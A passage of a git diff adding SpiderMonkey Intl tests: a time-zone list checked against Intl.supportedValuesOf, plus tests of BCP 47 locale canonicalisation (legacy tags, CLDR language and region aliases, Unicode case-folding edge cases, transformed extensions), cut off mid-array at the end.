+ "America/Chicago",
+ "America/Chihuahua",
+ "America/Ciudad_Juarez",
+ "America/Coral_Harbour",
+ "America/Costa_Rica",
+ "America/Creston",
+ "America/Cuiaba",
+ "America/Curacao",
+ "America/Danmarkshavn",
+ "America/Dawson",
+ "America/Dawson_Creek",
+ "America/Denver",
+ "America/Detroit",
+ "America/Dominica",
+ "America/Edmonton",
+ "America/Eirunepe",
+ "America/El_Salvador",
+ "America/Ensenada",
+ "America/Fort_Nelson",
+ "America/Fortaleza",
+ "America/Glace_Bay",
+ "America/Goose_Bay",
+ "America/Grand_Turk",
+ "America/Grenada",
+ "America/Guadeloupe",
+ "America/Guatemala",
+ "America/Guayaquil",
+ "America/Guyana",
+ "America/Halifax",
+ "America/Havana",
+ "America/Hermosillo",
+ "America/Indiana/Indianapolis",
+ "America/Indiana/Knox",
+ "America/Indiana/Marengo",
+ "America/Indiana/Petersburg",
+ "America/Indiana/Tell_City",
+ "America/Indiana/Vevay",
+ "America/Indiana/Vincennes",
+ "America/Indiana/Winamac",
+ "America/Inuvik",
+ "America/Iqaluit",
+ "America/Jamaica",
+ "America/Juneau",
+ "America/Kentucky/Louisville",
+ "America/Kentucky/Monticello",
+ "America/La_Paz",
+ "America/Lima",
+ "America/Los_Angeles",
+ "America/Maceio",
+ "America/Managua",
+ "America/Manaus",
+ "America/Martinique",
+ "America/Matamoros",
+ "America/Mazatlan",
+ "America/Menominee",
+ "America/Merida",
+ "America/Metlakatla",
+ "America/Mexico_City",
+ "America/Miquelon",
+ "America/Moncton",
+ "America/Monterrey",
+ "America/Montevideo",
+ "America/Montreal",
+ "America/Montserrat",
+ "America/Nassau",
+ "America/New_York",
+ "America/Nipigon",
+ "America/Nome",
+ "America/Noronha",
+ "America/North_Dakota/Beulah",
+ "America/North_Dakota/Center",
+ "America/North_Dakota/New_Salem",
+ "America/Nuuk",
+ "America/Ojinaga",
+ "America/Panama",
+ "America/Pangnirtung",
+ "America/Paramaribo",
+ "America/Phoenix",
+ "America/Port-au-Prince",
+ "America/Port_of_Spain",
+ "America/Porto_Velho",
+ "America/Puerto_Rico",
+ "America/Punta_Arenas",
+ "America/Rainy_River",
+ "America/Rankin_Inlet",
+ "America/Recife",
+ "America/Regina",
+ "America/Resolute",
+ "America/Rio_Branco",
+ "America/Rosario",
+ "America/Santarem",
+ "America/Santiago",
+ "America/Santo_Domingo",
+ "America/Sao_Paulo",
+ "America/Scoresbysund",
+ "America/Sitka",
+ "America/St_Johns",
+ "America/St_Kitts",
+ "America/St_Lucia",
+ "America/St_Thomas",
+ "America/St_Vincent",
+ "America/Swift_Current",
+ "America/Tegucigalpa",
+ "America/Thule",
+ "America/Thunder_Bay",
+ "America/Tijuana",
+ "America/Toronto",
+ "America/Tortola",
+ "America/Vancouver",
+ "America/Whitehorse",
+ "America/Winnipeg",
+ "America/Yakutat",
+ "America/Yellowknife",
+ "Antarctica/Casey",
+ "Antarctica/Davis",
+ "Antarctica/DumontDUrville",
+ "Antarctica/Macquarie",
+ "Antarctica/Mawson",
+ "Antarctica/McMurdo",
+ "Antarctica/Palmer",
+ "Antarctica/Rothera",
+ "Antarctica/Syowa",
+ "Antarctica/Troll",
+ "Antarctica/Vostok",
+ "Asia/Aden",
+ "Asia/Almaty",
+ "Asia/Amman",
+ "Asia/Anadyr",
+ "Asia/Aqtau",
+ "Asia/Aqtobe",
+ "Asia/Ashgabat",
+ "Asia/Atyrau",
+ "Asia/Baghdad",
+ "Asia/Bahrain",
+ "Asia/Baku",
+ "Asia/Bangkok",
+ "Asia/Barnaul",
+ "Asia/Beirut",
+ "Asia/Bishkek",
+ "Asia/Brunei",
+ "Asia/Chita",
+ "Asia/Choibalsan",
+ "Asia/Chongqing",
+ "Asia/Colombo",
+ "Asia/Damascus",
+ "Asia/Dhaka",
+ "Asia/Dili",
+ "Asia/Dubai",
+ "Asia/Dushanbe",
+ "Asia/Famagusta",
+ "Asia/Gaza",
+ "Asia/Harbin",
+ "Asia/Hebron",
+ "Asia/Ho_Chi_Minh",
+ "Asia/Hong_Kong",
+ "Asia/Hovd",
+ "Asia/Irkutsk",
+ "Asia/Jakarta",
+ "Asia/Jayapura",
+ "Asia/Jerusalem",
+ "Asia/Kabul",
+ "Asia/Kamchatka",
+ "Asia/Karachi",
+ "Asia/Kashgar",
+ "Asia/Kathmandu",
+ "Asia/Khandyga",
+ "Asia/Kolkata",
+ "Asia/Krasnoyarsk",
+ "Asia/Kuala_Lumpur",
+ "Asia/Kuching",
+ "Asia/Kuwait",
+ "Asia/Macau",
+ "Asia/Magadan",
+ "Asia/Makassar",
+ "Asia/Manila",
+ "Asia/Muscat",
+ "Asia/Nicosia",
+ "Asia/Novokuznetsk",
+ "Asia/Novosibirsk",
+ "Asia/Omsk",
+ "Asia/Oral",
+ "Asia/Phnom_Penh",
+ "Asia/Pontianak",
+ "Asia/Pyongyang",
+ "Asia/Qatar",
+ "Asia/Qostanay",
+ "Asia/Qyzylorda",
+ "Asia/Riyadh",
+ "Asia/Sakhalin",
+ "Asia/Samarkand",
+ "Asia/Seoul",
+ "Asia/Shanghai",
+ "Asia/Singapore",
+ "Asia/Srednekolymsk",
+ "Asia/Taipei",
+ "Asia/Tashkent",
+ "Asia/Tbilisi",
+ "Asia/Tehran",
+ "Asia/Tel_Aviv",
+ "Asia/Thimphu",
+ "Asia/Tokyo",
+ "Asia/Tomsk",
+ "Asia/Ulaanbaatar",
+ "Asia/Urumqi",
+ "Asia/Ust-Nera",
+ "Asia/Vientiane",
+ "Asia/Vladivostok",
+ "Asia/Yakutsk",
+ "Asia/Yangon",
+ "Asia/Yekaterinburg",
+ "Asia/Yerevan",
+ "Atlantic/Azores",
+ "Atlantic/Bermuda",
+ "Atlantic/Canary",
+ "Atlantic/Cape_Verde",
+ "Atlantic/Faroe",
+ "Atlantic/Jan_Mayen",
+ "Atlantic/Madeira",
+ "Atlantic/Reykjavik",
+ "Atlantic/South_Georgia",
+ "Atlantic/St_Helena",
+ "Atlantic/Stanley",
+ "Australia/Adelaide",
+ "Australia/Brisbane",
+ "Australia/Broken_Hill",
+ "Australia/Currie",
+ "Australia/Darwin",
+ "Australia/Eucla",
+ "Australia/Hobart",
+ "Australia/Lindeman",
+ "Australia/Lord_Howe",
+ "Australia/Melbourne",
+ "Australia/Perth",
+ "Australia/Sydney",
+ "CET",
+ "CST6CDT",
+ "EET",
+ "EST",
+ "EST5EDT",
+ "Etc/GMT+1",
+ "Etc/GMT+10",
+ "Etc/GMT+11",
+ "Etc/GMT+12",
+ "Etc/GMT+2",
+ "Etc/GMT+3",
+ "Etc/GMT+4",
+ "Etc/GMT+5",
+ "Etc/GMT+6",
+ "Etc/GMT+7",
+ "Etc/GMT+8",
+ "Etc/GMT+9",
+ "Etc/GMT-1",
+ "Etc/GMT-10",
+ "Etc/GMT-11",
+ "Etc/GMT-12",
+ "Etc/GMT-13",
+ "Etc/GMT-14",
+ "Etc/GMT-2",
+ "Etc/GMT-3",
+ "Etc/GMT-4",
+ "Etc/GMT-5",
+ "Etc/GMT-6",
+ "Etc/GMT-7",
+ "Etc/GMT-8",
+ "Etc/GMT-9",
+ "Europe/Amsterdam",
+ "Europe/Andorra",
+ "Europe/Astrakhan",
+ "Europe/Athens",
+ "Europe/Belfast",
+ "Europe/Belgrade",
+ "Europe/Berlin",
+ "Europe/Brussels",
+ "Europe/Bucharest",
+ "Europe/Budapest",
+ "Europe/Chisinau",
+ "Europe/Copenhagen",
+ "Europe/Dublin",
+ "Europe/Gibraltar",
+ "Europe/Guernsey",
+ "Europe/Helsinki",
+ "Europe/Isle_of_Man",
+ "Europe/Istanbul",
+ "Europe/Jersey",
+ "Europe/Kaliningrad",
+ "Europe/Kirov",
+ "Europe/Kyiv",
+ "Europe/Lisbon",
+ "Europe/Ljubljana",
+ "Europe/London",
+ "Europe/Luxembourg",
+ "Europe/Madrid",
+ "Europe/Malta",
+ "Europe/Minsk",
+ "Europe/Monaco",
+ "Europe/Moscow",
+ "Europe/Oslo",
+ "Europe/Paris",
+ "Europe/Prague",
+ "Europe/Riga",
+ "Europe/Rome",
+ "Europe/Samara",
+ "Europe/Sarajevo",
+ "Europe/Saratov",
+ "Europe/Simferopol",
+ "Europe/Skopje",
+ "Europe/Sofia",
+ "Europe/Stockholm",
+ "Europe/Tallinn",
+ "Europe/Tirane",
+ "Europe/Tiraspol",
+ "Europe/Ulyanovsk",
+ "Europe/Uzhgorod",
+ "Europe/Vaduz",
+ "Europe/Vienna",
+ "Europe/Vilnius",
+ "Europe/Volgograd",
+ "Europe/Warsaw",
+ "Europe/Zagreb",
+ "Europe/Zaporozhye",
+ "Europe/Zurich",
+ "Factory",
+ "HST",
+ "Indian/Antananarivo",
+ "Indian/Chagos",
+ "Indian/Christmas",
+ "Indian/Cocos",
+ "Indian/Comoro",
+ "Indian/Kerguelen",
+ "Indian/Mahe",
+ "Indian/Maldives",
+ "Indian/Mauritius",
+ "Indian/Mayotte",
+ "Indian/Reunion",
+ "MET",
+ "MST",
+ "MST7MDT",
+ "PST8PDT",
+ "Pacific/Apia",
+ "Pacific/Auckland",
+ "Pacific/Bougainville",
+ "Pacific/Chatham",
+ "Pacific/Chuuk",
+ "Pacific/Easter",
+ "Pacific/Efate",
+ "Pacific/Enderbury",
+ "Pacific/Fakaofo",
+ "Pacific/Fiji",
+ "Pacific/Funafuti",
+ "Pacific/Galapagos",
+ "Pacific/Gambier",
+ "Pacific/Guadalcanal",
+ "Pacific/Guam",
+ "Pacific/Honolulu",
+ "Pacific/Johnston",
+ "Pacific/Kanton",
+ "Pacific/Kiritimati",
+ "Pacific/Kosrae",
+ "Pacific/Kwajalein",
+ "Pacific/Majuro",
+ "Pacific/Marquesas",
+ "Pacific/Midway",
+ "Pacific/Nauru",
+ "Pacific/Niue",
+ "Pacific/Norfolk",
+ "Pacific/Noumea",
+ "Pacific/Pago_Pago",
+ "Pacific/Palau",
+ "Pacific/Pitcairn",
+ "Pacific/Pohnpei",
+ "Pacific/Port_Moresby",
+ "Pacific/Rarotonga",
+ "Pacific/Saipan",
+ "Pacific/Tahiti",
+ "Pacific/Tarawa",
+ "Pacific/Tongatapu",
+ "Pacific/Wake",
+ "Pacific/Wallis",
+ "UTC",
+ "WET",
+];
+
+let supported = Intl.supportedValuesOf("timeZone");
+
+assertEqArray(supported, zones);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Intl/supportedValuesOf-timeZones.js b/js/src/tests/non262/Intl/supportedValuesOf-timeZones.js
new file mode 100644
index 0000000000..6a200cd199
--- /dev/null
+++ b/js/src/tests/non262/Intl/supportedValuesOf-timeZones.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const timeZones = Intl.supportedValuesOf("timeZone");
+
+assertEq(new Set(timeZones).size, timeZones.length, "No duplicates are present");
+assertEqArray(timeZones, [...timeZones].sort(), "The list is sorted");
+
+// The pattern doesn't cover the complete time zone syntax, but gives a good first approximation.
+const timeZoneRE = /^[a-z0-9_+-]+(\/[a-z0-9_+-]+)*$/i;
+for (let timeZone of timeZones) {
+ assertEq(timeZoneRE.test(timeZone), true, `${timeZone} is ASCII`);
+}
+
+for (let timeZone of timeZones) {
+ let obj = new Intl.DateTimeFormat("en", {timeZone});
+ assertEq(obj.resolvedOptions().timeZone, timeZone, `${timeZone} is supported by DateTimeFormat`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/supportedValuesOf-unit.js b/js/src/tests/non262/Intl/supportedValuesOf-unit.js
new file mode 100644
index 0000000000..01dc5bb05c
--- /dev/null
+++ b/js/src/tests/non262/Intl/supportedValuesOf-unit.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const units = Intl.supportedValuesOf("unit");
+
+assertEq(new Set(units).size, units.length, "No duplicates are present");
+assertEqArray(units, [...units].sort(), "The list is sorted");
+
+const unitRE = /^[a-z]+(-[a-z]+)*$/;
+for (let unit of units) {
+ assertEq(unitRE.test(unit), true, `${unit} is ASCII lower-case, separated by hyphens`);
+ assertEq(unit.includes("-per-"), false, `${unit} is a simple unit identifier`);
+}
+
+for (let unit of units) {
+ let obj = new Intl.NumberFormat("en", {style: "unit", unit});
+ assertEq(obj.resolvedOptions().unit, unit, `${unit} is supported by NumberFormat`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/tolower-ascii-equivalent.js b/js/src/tests/non262/Intl/tolower-ascii-equivalent.js
new file mode 100644
index 0000000000..ac3cbfb7d3
--- /dev/null
+++ b/js/src/tests/non262/Intl/tolower-ascii-equivalent.js
@@ -0,0 +1,47 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Language tags are processed case-insensitive, but unconditionally calling
+// the built-in String.prototype.toLowerCase() or toUpperCase() function
+// before parsing a language tag can map non-ASCII characters into the ASCII
+// range.
+//
+// Validate the Unicode BCP 47 locale identifier parser handles this case
+// (pun intended) correctly by passing language tags which contain
+// U+212A (KELVIN SIGN) and U+0131 (LATIN SMALL LETTER DOTLESS I) to
+// Intl.getCanonicalLocales().
+
+// The lower-case form of "i-ha\u212A" is "i-hak".
+assertEq("i-hak", "i-ha\u212A".toLowerCase());
+
+// The upper-case form of "\u0131-hak" is "I-HAK".
+assertEq("I-HAK", "\u0131-hak".toUpperCase());
+
+// "i-hak" is not a valid Unicode BCP 47 locale identifier.
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("i-hak"), RangeError);
+
+// And neither is "i-ha\u212A".
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("i-ha\u212A"), RangeError);
+
+// And also "\u0131-hak" isn't valid.
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("\u0131-hak"), RangeError);
+
+// The lower-case form of "zh-ha\u212A\u212Aa" is "zh-hakka".
+assertEq("zh-hakka", "zh-ha\u212A\u212Aa".toLowerCase());
+
+// "zh-hakka" is a valid Unicode BCP 47 locale identifier.
+assertEqArray(Intl.getCanonicalLocales("zh-hakka"), ["hak"]);
+
+// But "zh-ha\u212A\u212Aa" is not a valid locale identifier.
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("zh-ha\u212A\u212Aa"), RangeError);
+
+// The lower-case form of "zh-x\u0131ang" is "ZH-XIANG".
+assertEq("ZH-XIANG", "zh-x\u0131ang".toUpperCase());
+
+// "zh-xiang" is a valid Unicode BCP 47 locale identifier.
+assertEqArray(Intl.getCanonicalLocales("zh-xiang"), ["hsn"]);
+
+// But "zh-x\u0131ang" is not a valid locale identifier.
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("zh-x\u0131ang"), RangeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-extlangs.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-extlangs.js
new file mode 100644
index 0000000000..7e9aae5519
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-extlangs.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Unicode BCP 47 locale identifiers don't support extlang subtags.
+const invalid = [
+ // Two letter language code followed by extlang subtags.
+ "en-abc",
+ "en-abc-def",
+ "en-abc-def-ghi",
+
+ // Three letter language code followed by extlang subtags.
+ "und-abc",
+ "und-abc-def",
+ "und-abc-def-ghi",
+];
+
+for (let locale of invalid) {
+ assertThrowsInstanceOf(() => Intl.getCanonicalLocales(locale), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-language-mappings.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-language-mappings.js
new file mode 100644
index 0000000000..4f0a01a9cb
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-language-mappings.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// For the most part the mappings from IANA are a subset of the CLDR mappings.
+// So there are mappings which are consistent across both databases.
+assertEq(Intl.getCanonicalLocales("iw")[0], "he");
+
+// But some languages are mapped differently.
+//
+// From the IANA language data registry:
+// Type: language
+// Subtag: drh
+// Description: Darkhat
+// Added: 2009-07-29
+// Deprecated: 2010-03-11
+// Preferred-Value: khk
+//
+// From CLDR:
+// <languageAlias type="drh" replacement="mn" reason="deprecated"/>
+//
+// because CLDR also maps macro-languages:
+// <languageAlias type="khk" replacement="mn" reason="macrolanguage"/>
+assertEq(Intl.getCanonicalLocales("drh")[0], "mn");
+
+// CLDR maps macro-languages:
+// <languageAlias type="cmn" replacement="zh" reason="macrolanguage"/>
+assertEq(Intl.getCanonicalLocales("cmn")[0], "zh");
+
+// CLDR also contains mappings from ISO-639-2 (B/T) to 639-1 codes:
+// <languageAlias type="dut" replacement="nl" reason="bibliographic"/>
+// <languageAlias type="nld" replacement="nl" reason="overlong"/>
+assertEq(Intl.getCanonicalLocales("dut")[0], "nl");
+assertEq(Intl.getCanonicalLocales("nld")[0], "nl");
+
+// CLDR has additional mappings for legacy language codes.
+// <languageAlias type="tl" replacement="fil" reason="legacy"/>
+assertEq(Intl.getCanonicalLocales("tl")[0], "fil");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-languages-mappings-complex.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-languages-mappings-complex.js
new file mode 100644
index 0000000000..320e1b02c0
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-languages-mappings-complex.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// CLDR contains language mappings where in addition to the language subtag also
+// the script or region subtag is modified, unless they're already present.
+
+// <languageAlias type="sh" replacement="sr_Latn" reason="legacy"/>
+assertEq(Intl.getCanonicalLocales("sh")[0], "sr-Latn");
+assertEq(Intl.getCanonicalLocales("sh-RS")[0], "sr-Latn-RS");
+assertEq(Intl.getCanonicalLocales("sh-Cyrl")[0], "sr-Cyrl");
+
+// <languageAlias type="cnr" replacement="sr_ME" reason="legacy"/>
+assertEq(Intl.getCanonicalLocales("cnr")[0], "sr-ME");
+assertEq(Intl.getCanonicalLocales("cnr-Latn")[0], "sr-Latn-ME");
+assertEq(Intl.getCanonicalLocales("cnr-RS")[0], "sr-RS");
+
+// Aliases where more than just a language subtag are present are ignored.
+// <languageAlias type="sr_RS" replacement="sr_Cyrl_RS" reason="legacy"/>
+assertEq(Intl.getCanonicalLocales("sr-RS")[0], "sr-RS");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-legacy.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-legacy.js
new file mode 100644
index 0000000000..b7eefe2b75
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-legacy.js
@@ -0,0 +1,52 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Unicode BCP 47 locale identifiers don't support irregular legacy tags.
+var irregularLegacy = [
+ "en-gb-oed",
+ "i-ami",
+ "i-bnn",
+ "i-default",
+ "i-enochian",
+ "i-hak",
+ "i-klingon",
+ "i-lux",
+ "i-mingo",
+ "i-navajo",
+ "i-pwn",
+ "i-tao",
+ "i-tay",
+ "i-tsu",
+ "sgn-be-fr",
+ "sgn-be-nl",
+ "sgn-ch-de",
+];
+
+// Unicode BCP 47 locale identifiers don't support regular legacy tags
+// which contain an extlang-like subtag.
+var regularLegacyWithExtlangLike = [
+ "no-bok",
+ "no-nyn",
+ "zh-min",
+ "zh-min-nan",
+];
+
+// Unicode BCP 47 locale identifiers do support regular legacy tags
+// which contain a variant-like subtag.
+var regularLegacyWithVariantLike = {
+ "art-lojban": "jbo",
+ "cel-gaulish": "xtg",
+ "zh-guoyu": "zh",
+ "zh-hakka": "hak",
+ "zh-xiang": "hsn",
+};
+
+for (let locale of [...irregularLegacy, ...regularLegacyWithExtlangLike]) {
+ assertThrowsInstanceOf(() => Intl.getCanonicalLocales(locale), RangeError);
+}
+
+for (let [locale, canonical] of Object.entries(regularLegacyWithVariantLike)) {
+ assertEq(Intl.getCanonicalLocales(locale)[0], canonical);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-and-subdivision.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-and-subdivision.js
new file mode 100644
index 0000000000..c9e1bd3951
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-and-subdivision.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// <subdivisionAlias type="frg" replacement="frges" reason="deprecated"/>
+assertEq(Intl.getCanonicalLocales("fr-u-rg-frg")[0], "fr-u-rg-frges");
+assertEq(Intl.getCanonicalLocales("fr-u-sd-frg")[0], "fr-u-sd-frges");
+
+// <subdivisionAlias type="frgf" replacement="GF" reason="overlong"/>
+assertEq(Intl.getCanonicalLocales("fr-u-rg-frgf")[0], "fr-u-rg-gfzzzz");
+assertEq(Intl.getCanonicalLocales("fr-u-sd-frgf")[0], "fr-u-sd-gfzzzz");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings-complex.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings-complex.js
new file mode 100644
index 0000000000..22dbd17a1d
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings-complex.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// CLDR contains region mappings where the replacement region depends on the
+// likely subtags from the language and script subtags.
+//
+// For example, the breakup of the Soviet Union ("SU") means that the region of
+// the Soviet Union ("SU") is replaced by Russia ("RU"), Armenia ("AM"), or
+// many others -- depending on the specified (or merely likely) language and
+// script subtags:
+//
+// <territoryAlias type="SU" replacement="RU AM AZ BY EE GE KZ KG LV LT MD TJ TM UA UZ" reason="deprecated"/>
+//
+// Armenia can be the preferred region when the language is "hy" (Armenian) or
+// the script is "Armn" (Armenian).
+//
+// <likelySubtag from="hy" to="hy_Armn_AM"/>
+// <likelySubtag from="und_Armn" to="hy_Armn_AM"/>
+assertEq(Intl.getCanonicalLocales("ru-SU")[0], "ru-RU");
+assertEq(Intl.getCanonicalLocales("en-SU")[0], "en-RU");
+assertEq(Intl.getCanonicalLocales("und-SU")[0], "und-RU");
+assertEq(Intl.getCanonicalLocales("und-Latn-SU")[0], "und-Latn-RU");
+assertEq(Intl.getCanonicalLocales("hy-SU")[0], "hy-AM");
+assertEq(Intl.getCanonicalLocales("und-Armn-SU")[0], "und-Armn-AM");
+
+// <territoryAlias type="CS" replacement="RS ME" reason="deprecated"/>
+//
+// The following likely-subtags entries contain "RS" and "ME":
+//
+// <likelySubtag from="sr" to="sr_Cyrl_RS"/>
+// <likelySubtag from="sr_ME" to="sr_Latn_ME"/>
+// <likelySubtag from="und_RS" to="sr_Cyrl_RS"/>
+// <likelySubtag from="und_ME" to="sr_Latn_ME"/>
+//
+// In this case there is no language/script combination (without a region
+// subtag) where "ME" is ever chosen, so the replacement is always "RS".
+assertEq(Intl.getCanonicalLocales("sr-CS")[0], "sr-RS");
+assertEq(Intl.getCanonicalLocales("sr-Latn-CS")[0], "sr-Latn-RS");
+assertEq(Intl.getCanonicalLocales("sr-Cyrl-CS")[0], "sr-Cyrl-RS");
+
+// The existing region in the source locale identifier is ignored when selecting
+// the likely replacement region. For example take "az-NT", which is Azerbaijani
+// spoken in the Neutral Zone. The replacement region for "NT" is either
+// "SA" (Saudi-Arabia) or "IQ" (Iraq), and there is also a likely subtags entry
+// for "az-IQ". But when only looking at the language subtag in "az-NT", "az" is
+// always resolved to "az-Latn-AZ", and because "AZ" is not in the list ["SA",
+// "IQ"], the final replacement region is the default for "NT", namely "SA".
+// That means "az-NT" will be canonicalised to "az-SA" and not "az-IQ", even
+// though the latter may be a more sensible candidate based on the actual usage
+// of the target locales.
+//
+// <territoryAlias type="NT" replacement="SA IQ" reason="deprecated"/>
+// <likelySubtag from="az_IQ" to="az_Arab_IQ"/>
+// <likelySubtag from="az" to="az_Latn_AZ"/>
+assertEq(Intl.getCanonicalLocales("az-NT")[0], "az-SA");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings.js
new file mode 100644
index 0000000000..affebb33b8
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-region-mappings.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// For the most part the mappings from IANA are a subset of the CLDR mappings.
+// So there are mappings which are consistent across both databases.
+assertEq(Intl.getCanonicalLocales("de-DD")[0], "de-DE");
+
+// CLDR contains additional mappings:
+// <territoryAlias type="QU" replacement="EU" reason="deprecated"/>
+// <territoryAlias type="UK" replacement="GB" reason="deprecated"/>
+assertEq(Intl.getCanonicalLocales("und-QU")[0], "und-EU");
+assertEq(Intl.getCanonicalLocales("en-UK")[0], "en-GB");
+
+// CLDR additional maps ISO 3166-1 numeric to ISO 3166-1 alpha-2 codes:
+// <territoryAlias type="280" replacement="DE" reason="deprecated"/>
+// <territoryAlias type="278" replacement="DE" reason="overlong"/>
+// <territoryAlias type="276" replacement="DE" reason="overlong"/>
+assertEq(Intl.getCanonicalLocales("de-280")[0], "de-DE");
+assertEq(Intl.getCanonicalLocales("de-278")[0], "de-DE");
+assertEq(Intl.getCanonicalLocales("de-276")[0], "de-DE");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-sign-languages.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-sign-languages.js
new file mode 100644
index 0000000000..9f7b01c69e
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-sign-languages.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// The IANA language subtag registry contains replacements for sign language
+// codes marked as redundant. For example:
+//
+// Type: redundant
+// Tag: sgn-DE
+// Description: German Sign Language
+// Added: 2001-11-11
+// Deprecated: 2009-07-29
+// Preferred-Value: gsg
+//
+// CLDR 38 added these mappings to CLDR, too.
+
+assertEq(Intl.getCanonicalLocales("sgn-DE")[0], "gsg");
+assertEq(Intl.getCanonicalLocales("sgn-DD")[0], "gsg");
+
+assertEq(Intl.getCanonicalLocales("sgn-276")[0], "gsg");
+assertEq(Intl.getCanonicalLocales("sgn-278")[0], "gsg");
+assertEq(Intl.getCanonicalLocales("sgn-280")[0], "gsg");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-transformed-ext.js b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-transformed-ext.js
new file mode 100644
index 0000000000..50ac20e58b
--- /dev/null
+++ b/js/src/tests/non262/Intl/unicode-bcp47-locale-ids-transformed-ext.js
@@ -0,0 +1,71 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+const invalid = [
+ // empty
+ "en-t",
+ "en-t-a",
+ "en-t-x",
+ "en-t-0",
+
+ // incomplete
+ "en-t-",
+ "en-t-en-",
+ "en-t-0x-",
+
+ // tlang: unicode_language_subtag must be 2-3 or 5-8 characters and mustn't
+ // contain extlang subtags.
+ "en-t-root",
+ "en-t-abcdefghi",
+ "en-t-ar-aao",
+
+ // tlang: unicode_script_subtag must be 4 alphabetical characters, can't
+ // be repeated.
+ "en-t-en-lat0",
+ "en-t-en-latn-latn",
+
+ // tlang: unicode_region_subtag must either be 2 alpha characters or a three
+ // digit code.
+ "en-t-en-0",
+ "en-t-en-00",
+ "en-t-en-0x",
+ "en-t-en-x0",
+ "en-t-en-latn-0",
+ "en-t-en-latn-00",
+ "en-t-en-latn-xyz",
+
+ // tlang: unicode_variant_subtag is either 5-8 alphanum characters or 4
+ // characters starting with a digit.
+ "en-t-en-abcdefghi",
+ "en-t-en-latn-gb-ab",
+ "en-t-en-latn-gb-abc",
+ "en-t-en-latn-gb-abcd",
+ "en-t-en-latn-gb-abcdefghi",
+];
+
+// Canonicalisation also applies for the transformation extension. But also
+// see <https://github.com/tc39/ecma402/issues/330>.
+const valid = [
+ {locale: "en-t-en", canonical: "en-t-en"},
+ {locale: "en-t-en-latn", canonical: "en-t-en-latn"},
+ {locale: "en-t-en-ca", canonical: "en-t-en-ca"},
+ {locale: "en-t-en-latn-ca", canonical: "en-t-en-latn-ca"},
+ {locale: "en-t-en-emodeng", canonical: "en-t-en-emodeng"},
+ {locale: "en-t-en-latn-emodeng", canonical: "en-t-en-latn-emodeng"},
+ {locale: "en-t-en-latn-ca-emodeng", canonical: "en-t-en-latn-ca-emodeng"},
+ {locale: "sl-t-sl-rozaj-biske-1994", canonical: "sl-t-sl-1994-biske-rozaj"},
+ {locale: "DE-T-M0-DIN-K0-QWERTZ", canonical: "de-t-k0-qwertz-m0-din"},
+ {locale: "en-t-m0-true", canonical: "en-t-m0-true"},
+ {locale: "en-t-iw", canonical: "en-t-he"},
